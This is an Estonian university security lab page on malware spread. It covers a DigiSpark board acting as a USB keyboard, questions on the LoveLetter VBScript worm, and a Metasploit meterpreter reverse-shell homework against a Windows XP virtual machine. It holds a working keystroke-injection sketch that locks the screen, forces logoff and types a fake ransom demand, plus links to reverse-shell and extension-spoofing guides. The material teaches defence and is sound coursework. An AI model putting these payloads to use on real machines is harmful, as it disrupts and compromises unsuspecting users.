Viiruste uurimine
Eelmises praktikumis uurisime kuidas kuidas pahalased teie arvutis ennast peidavad ja kuidas neid avastada. Seekord vaatame aga 2 erinevat juhtu sellest, kuidas pahavara võib levida ja uurime lähemalt koodi, mis nad teie arvutis käivitavad.
- Esimesena vaatame lihtsustatud näidet kuidas USB mälupulka meenutav seade saaks teie arvuti pahavaraga nakatada (Stuxnet viidi Iraani tuumakütuse rikastamise tehasesse samuti USB pulgal). Selle näitlikustamiseks teeme paar lihtsat näidet, mille käigus uurime kuidas erinevad Windowsi klahvikombinatsioonid võivad teie arvuti kasutamatuks muuta. Praktikumis tehtavad ülesanded illustreerivad seda, et suvalise USB seadme kasutamine on ohtlik kuna USB on juba disaini poolest ebaturvaline - selle kohta saab lugeda siit: BadUSB. Näiteks on võimalik USB seade ümber programmeerida nii, et see tuvastatakse klaviatuurina, mistõttu USB seade saab hakata kohe pärast arvutiga ühendamist käsureale käske kirjutama. Lisaks võib USB seade olla nakatunud pahavaraga, mida on raske tuvastada (näiteks kui kasutusel on 0-day tüüpi turvaauk, mida kasutati ka Stuxnet levitamiseks). Seetõttu ei ole hea mõte võõraid USB seadmeid enda arvutiga ühendada, kuigi vastav tegevus on väga levinud. 2016 aastal tehti USA-s katse, kus parkimisplatsile "kaotati" umbes 300 USB pulka ning katse tulemusena selgus, et vähemalt 48% pulkadest ühendati arvutitesse ning seal olevaid faile avati. Ilmselt ühendati arvutitega palju rohkem pulkasid, aga katse käigus mõõdeti ainult seda, kas mõnda faili avati. Antud katsest on kirjutatud ülevaade, mida saab lugeda siit: Concerns about USB security are real: 48% of people do plug-in USB drives found in parking lots.
- Teisena uurime kuidas üks maailma kõige kuulsamaid ja edukamaid e-maili viirusi "ILOVEYOU" edaspidi "LoveLetter" sisuliselt muutis kõigi inimeste arusaama arvutiviirustest ja kuidas tal õnnestus hinnanguliselt 10% sellel hetkel maailmas eksisteerinud arvuteist nakatada. "LoveLetter" võib pidada kõigi e-maili viiruste eelkäijaks ning eriti hetkel populaarse ja pahandust tegeva CrypoLocker pahavaraga on sarnasused ilmsed.
DIGISPARK ehk programmeeritav Arduinoga sarnane USB seade
DIGISPARK
on Väike ja odav kuid võimekas Arduinoga ühilduv arendusplaat
Programmeerimiskeskkond: Arduino IDE (C-keel), vajab eraldi seadistust Vaba tarkvara ja vaba riistvara (kogu tarkvara, skeemid jne on avalikud) Protsessor: Attiny85 (16,5 MHz, 8 bit, 8 KB flash, low power) Sisend-väljund: 6 digitaalset I/O viiku 4 Analoog sisendit Tööpinge: 5V Väline toide: 7-35V Mõõtmed: 1,8 x 2,6 cm Plussid: Väike, odav, töötab usb seadmena (hiir, klaviatuur), enamik Arduino sensoritest ja riistvarast on ühildatav Puudused: vajab eraldi laiendusplaate Hind: 2 EUR (Hiina kloon)
DigiSpark kasutamine:
DigiSparki
soovitame kasutada klassi arvutites, selle jaoks käivitage operatsioonisüsteem Võrgutehnoloogia Windows 10
. Kui on siiski soov kasutada isiklikku arvutit peab selleks kasutama Windows 10 virtuaalmasinat ja sinna lisama USB filtri
(esimene filtri valik, mis on sinise nupuga) nagu tegime WiFi ründe praktikumis.
DigiSpark
on Arduino derivaat ja selle kasutamine on veidi erinev klassikalise Arduino-ga võrreldes. Esimese asjana nagu ka Arduinoga tuleb arvutisse paigaldada Arduino IDE, mille saab alla laadida http://www.arduino.cc lehelt. Erinevalt tavalisest Arduino/Genuino-st tuleb lisaks paigaldamisele ka enne DigiSpark kasutamist Arduino IDE-le lisada DigiSparki tugi. Vastava juhendi leiab lehelt: http://digistump.com/wiki/digispark/tutorials/connecting. Väga oluline on alla laadida viidatud draiverite zip fail, see lahti pakkida ning siis lahtipakitud kausta seest draiverid paigaldada (fail Install Drivers.exe).
ÄRA mine juhendiga edasi enne kui oled http://digistump.com/wiki/digispark/tutorials/connecting tegevused lõpetanud.
Pärast edukat DigiSpark installeerimist saate seda testida järgmise koodiga. Pööra tähelepanu asjaolule et erinevalt tavalisest Arduinost tuleb DigiSpark ühendada alles pärast upload nupu vajutamist 60 sekundi jooksul
. Antud nõue tuleneb asjaolust et seadme ühendamisel arvutiga (toitega) on seade algselt programmeerimise režiimis ja pärast 5 sekundi möödumist tuntakse see ära kui USB seade.
// the setup routine runs once when you press reset: void setup() { // initialize the digital pin as an output. pinMode(0, OUTPUT); //LED on Model B pinMode(1, OUTPUT); //LED on Model A } // the loop routine runs over and over again forever: void loop() { digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level) digitalWrite(1, HIGH); delay(1000); // wait for a second digitalWrite(0, LOW); // turn the LED off by making the voltage LOW digitalWrite(1, LOW); delay(1000); // wait for a second }

Väga lõbus harjutus on seadistada DigiSpark käituma klaviatuuri või hiirena. Vastavalt
File → Examples → DigisparkKeyboard → Keyboard File → Examples → DigisparkMouse → Mouse
Kui nüüd seade ühendada arvuti taha siis hakkab 5 sekundi pärast kas hiir liikuma või tekib ekraanile tekst nagu keegi oleks klaviatuuril klahve vajutanud.
DigiSpark klaviatuuriga saab mitmeid põnevaid klahvikombinatsioone pahaaimamatu kasutaja arvutisse saata:
#include "DigiKeyboard.h" #define KEY_UP_ARROW 0x52 #define KEY_DOWN_ARROW 0x51 #define KEY_LEFT_ARROW 0x50 #define KEY_RIGHT_ARROW 0x4F #define KEY_PRINT_SCR 70 #define KEY_TAB 43 void setup() { randomSeed(analogRead(0)); //generate better random } void loop() { DigiKeyboard.update(); DigiKeyboard.sendKeyStroke(0); delay(200); switch (random(15)) { case 0: DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); break; case 1: DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT); break; case 2: DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW, MOD_GUI_LEFT); break; case 3: DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW, MOD_CONTROL_LEFT + MOD_ALT_LEFT); break; case 4: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.print("msg "); DigiKeyboard.sendKeyStroke(85); DigiKeyboard.println("Tere, sinu arvutis on viirus, lahti saamiseks kanna raha 00120020304945093"); break; case 5: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.print("cmd"); delay(200); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(200); DigiKeyboard.println("shutdown -L"); break; case 6: DigiKeyboard.sendKeyStroke(KEY_PRINT_SCR, MOD_SHIFT_LEFT + MOD_ALT_LEFT); break; case 7: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("chrome www.cs.ut.ee"); break; case 8: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("chrome"); delay(1000); DigiKeyboard.println("programmeerimine.ut.ee"); break; case 9: DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); break; case 10: DigiKeyboard.sendKeyStroke(KEY_D, MOD_CONTROL_LEFT + MOD_GUI_LEFT); break; case 11: DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); delay(300); DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); delay(300); DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_RIGHT_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_UP_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(200); break; case 12: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("cmd"); delay(200); DigiKeyboard.println("title See on minu nimeline käsurida!"); break; default: break; } delay(5000); }

Lisalugemine: Kuidas tekitada endale tagauks Linux masinasse sisse saamiseks...
https://nox-sec.de/2017/02/08/reverse-shell-digispark-instead-of-rubber-ducky/
Esitada1: Muuda koodi niiviisi, et USB seadme ühendamisel kirjutatakse terminaliaknasse teie nimeline teade või tekst. Nüüd kasuta Windowsi sisse ehitatud tööriista nimega Steps Recorder
(e.k. Toimingute salvesti
ja salvesta hetk kus DigiSpark kirjutab teie nime. Kui võimalik, siis lisage taustale ka aken nime kirjutamise koodiga. Salvesta ja esita enda nimeline ZIP fail koos pahalase tegevustega (peab sisaldama sinu nime).
Näiteks: "Tudeng Meelis Roos soovib Andmeturve praktikum 13 arvestust!"
NB! Case 1
ja Case 5
võivad takistada Steps Recorder
tööd ja on soovitav keelata kustutades vastavad read näidiskoodist
Esitada2: Iga case kohta etteantud koodis kirjutada paarisõnaline seletus mida ta teeb. Testimiseks saab koodi modifitseerida või proovida klahvikombinatsioone neid ise sisestades.
Koodis olevaid klahvikombinatsioone tuleb lugeda nii, et kõigepeal tuleb teha parempoolne tegevus ja siis vasakpoolne. Näiteks KEY_R, MOD_GUI_LEFT korral vajutage kõigepealt vasakpoolsele windowsi nupule ja siis klahvile R.
Näiteks:
- Case 0: Minimaliseerib kõik aknad (ehk näitab Desktopi)
- Case 1: Lukustab ekraani
- Case 2: ...
- Case 3: ...
...
- Case 12: Siia kirjuta seletus
Makroviirused
Lahkame vanu "klassikalisi" viirusi.
Loveletter
- Loe koodi ja püüa aru saada, mida see teeb: loveletter. See makroviirus on kirjutatud keeles VBScript. Kui tahate trepitud koodi, siis üks võimalus selleks on kasutada lehekülge nimega http://www.vbindent.com
- Mismoodi viirus end arvuti käivitamise järel tööle paneb?
- Kas viirus peale enda levitamise veel midagi teeb?
- Mis tegevusi tehakse eri laiendiga failidele? (too 2 näidet)
- Kuidas viirus end e-mailiga levitab?
- Milleks loob viirus "HKEY_CURRENT_USER\Software\Microsoft\WAB\" alla oma võtmed?
- Kas aadressiraamatusse hiljem lisandunutele ka viirus saadetakse?
Lisaküsimused:
- Miks on levitatava HTML-i mall sogastatud?
- Kuidas sogastamisest lahti saadakse töötava skripti saamiseks?
Lisalugemine: Kuidas peita paha-aimamatu kasutaja eest ära kahtlust äratav faililaiend... http://galogetlatorre.blogspot.com.ee/2013/07/how-can-you-be-fooled-by-u202e-trick.html
Praktikumi ülesanded
Praktikumi ülesannete lahendamine annab ühe punkti. Praktikumi ülesanne võiks valmis saada praktikumi lõpuks, aga juhul kui see ei õnnestu, siis on võimalik lahendust esitada nädala jooksul.
Esitada1: Muuda koodi niiviisi, et USB seadme ühendamisel kuvataks ekraanile sinu nimelist veateadet. Nüüd kasuta Windowsi sisse ehitatud tööriista nimega Steps Recorder
ja salvesta umbes 1 min pikkune pahalase tegevus. Salvesta ja esita enda nimeline ZIP fail koos pahalase tegevustega (peab sisaldama sinu nime).
Esitada2: Iga case kohta etteantud koodis kirjutada paarisõnaline seletus mida ta teeb.
Näiteks:
* Case 0: Minimaliseerib kõik aknad (ehk näitab desktopi)
- Case 1: Lukustab ekraani
- Case 2: ...
- Case 3: ...
...
- Case 12: Siia kirjuta seletus
Esitada 3: *Loveletter (konkreetsed lühikesed vastused on eelistatud)
- Mismoodi viirus end järgmise boodi järel tööle paneb?
- Kas viirus peale enda levitamise veel midagi teeb?
- Mis tegevusi tehakse eri laiendiga failidele? (too 2 näidet)
- Kuidas viirus end e-mailiga levitab?
- Milleks loob viirus "HKEY_CURRENT_USER\Software\Microsoft\WAB\" alla oma võtmed?
- Kas aadressiraamatusse hiljem lisandunutele ka viirus saadetakse?
Lahendusi võtame vastu järgmistes failiformaatides: .zip (mis sisaldab Recording...mht faili ja tekstifaili küsimuste vastustega.
13. 13. Digispark ja makroviirused - pratikumi ülesanneTagasiside
Praktikumi lõpus palume anda tagasisidet, sest see võimaldab meil antud praktikumi ja ka järgmisi praktikume paremaks muuta. Tagasiside on anonüümne ja tagasiside vormi leiate järgneva lingi abil: tagasiside ankeet.
Kodune ülesanne
Käesoleva praktikumi kodune ülesanne on veidi mahukam ja keerukam kui varem siin aines antud ülesanded. Seetõttu on teil võimalik korrektse lahenduse eest teenida kuni 2 punkti. Ülesande lahendamiseks aega kuni 3. juunini 2018.
Eesmärk: Iseseisvalt õppida kasutama Metasploit Framework ja Armitage tarkvara, mis on vaikimisi lisatud Kali Linuxisse ja on üks populaarseimaid ründetarkvarasid maailmas.
Ülesanne: Kasutades Metasploit Framework (koos Armitage kasutajaliidesega) teha läbi näidisrünne eelmises praktikumis kasutatud Windows XP ülevõtmiseks. Kui kustutasite XP masina ära, siis laadige see uuesti alla.
Vihjed:
- Virtualbox bridge mode
- meterpreter/reverse_tcp
- Macro viruses
- Payload
- https://www.youtube.com/results?search_query=armitage+client+side+attack
Tulemus: Õnnestunud rünne Windows XP masina vastu kus heauskne kasutaja (teie) on meelitatud avama häkkeri (teie) poolt saadetud meterpreteri koodi, mis helistaks koju ja avaks tagaukse masina ülevõtmiseks.
Esitada:
- Detailne tegevuste kirjeldus
- Kust saite abi (milliseid linke kasutasite)
- Milliseid tarkvarasid kasutasite
- Milliseid turvaauke (payload) kasutasite
- Millised proleemid esinesid ja kuidas neid ületasite
- Ekraanipilt ohvri arvutist, mis on tehtud häkkeri masinast (Armitages üle meterpreter ühenduse) nii, et on selgelt näha teie nimi ohvri masina ekraanivaatel ning et ohvri masin on kompromiteerunud (näiteks: äikese märgid ümber masina Armitages) ja et teil on ligipääs ohvri arvutile. Lisame lähiajal näidis soovitud ekraanitõmmisest.
Koduse ülesande lahendus tuleks esitada aine kodulehelt. Korraga saab esitada ainult ühe faili, korduv lahenduse esitamine kirjutab eelmise lahenduse üle ning seetõttu tuleb vajaduse korral lahendus kokku pakkida üheks failiks. Lahendusi võtame vastu järgmistes failiformaatides: .txt, .pdf, .zip.
28. 13. Metasploit - kodune ülesanneViited
- Visual Basic
- Viirus Love Letter
- Return of macro viruses